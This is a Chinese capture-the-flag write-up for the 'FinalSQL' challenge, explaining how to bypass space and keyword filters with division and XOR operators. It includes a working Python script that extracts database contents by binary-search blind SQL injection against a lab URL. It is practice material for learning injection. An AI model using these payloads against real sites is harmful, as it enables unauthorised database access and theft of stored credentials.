[极客大挑战 2019]FinalSQL--布尔盲注

直接看题

可以看到题目给了提示盲注!那么接下来就是寻找注入点了!

那么不能发现注入点就是id了!注入类型为数值型注入!这里直接尝试盲注。但是这里and被过滤了&&也不行。问了几个师傅说用or,但是空格被过滤了,||也被过滤了。所以似乎不行!

不用空格是起不到效果的!所以这里另寻他法。那么如果你要替换一个东西你可以去思考一下它为什么能起作用!那么盲注的本质是什么?其实就是利用了页面的回显的不同在佐证我们对flag的盲猜 !那么你会发现id=0时是查询失败的,id=1是查询成功的,然后呢我们盲注语句也是返回1和0的,于是就想有没有一种运算使得1()1为1,1()0为0!那么这里我就想到了/,尽管不满足1/0为0,但是也是可以区分了!

而且这里mysql也是支持的!于是就直接开打!

python 复制代码
import requests

url = "http://0fec30ef-0317-4d57-8e6a-803bb5a076d0.node5.buuoj.cn:81/search.php?id="
result = ''
i=0

while True:
    i = i + 1
    head = 32
    tail = 126

    while head < tail:                          
        mid = (head + tail) >> 1 
        #payload = f'1%2F(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+'
        #payload = f'1%2F(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})--+'
        #payload = f"1%2F(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{i},1))>{mid})--+"
        payload = f"1%2F(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"
        r = requests.get(url + payload)
        if "NO! Not this! Click others~~~" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:                                    #用于判断是否找完了flag
        result += chr(head)
    else:
        break
    print(result)
#二分法脚本

那么后面发现异或^运算也是可以的。1 ^ 1=0, 1 ^ 0=1!

相关推荐
爱吃土豆的马铃薯ㅤㅤㅤㅤㅤㅤㅤㅤㅤ4 小时前
mapper.xml sql动态表查询配置
xml·java·sql
麦聪聊数据4 小时前
浅谈SQL审核(一):SQL审核实现方式与常见工具的选择
数据库·sql
啊吧怪不啊吧10 小时前
SQL之参数类型讲解
数据库·sql
与衫20 小时前
在 VS Code 里看清你的数据流向:Gudu SQL Omni 实测体验
数据库·sql
SirLancelot121 小时前
StarRocks-基本介绍(一)基本概念、特点、适用场景
大数据·数据库·数据仓库·sql·数据分析·database·数据库架构
wudl55661 天前
Flink SQL 窗口函数详细
sql·flink·linq
wudl55661 天前
Flink SQL 与 Kafka 整合详细教程
sql·flink·kafka
wudl55661 天前
flink sql 所有函数详细用例
大数据·sql·flink
小小测试开发1 天前
Python SQLAlchemy:告别原生 SQL,用 ORM 优雅操作数据库
数据库·python·sql·sqlalchemy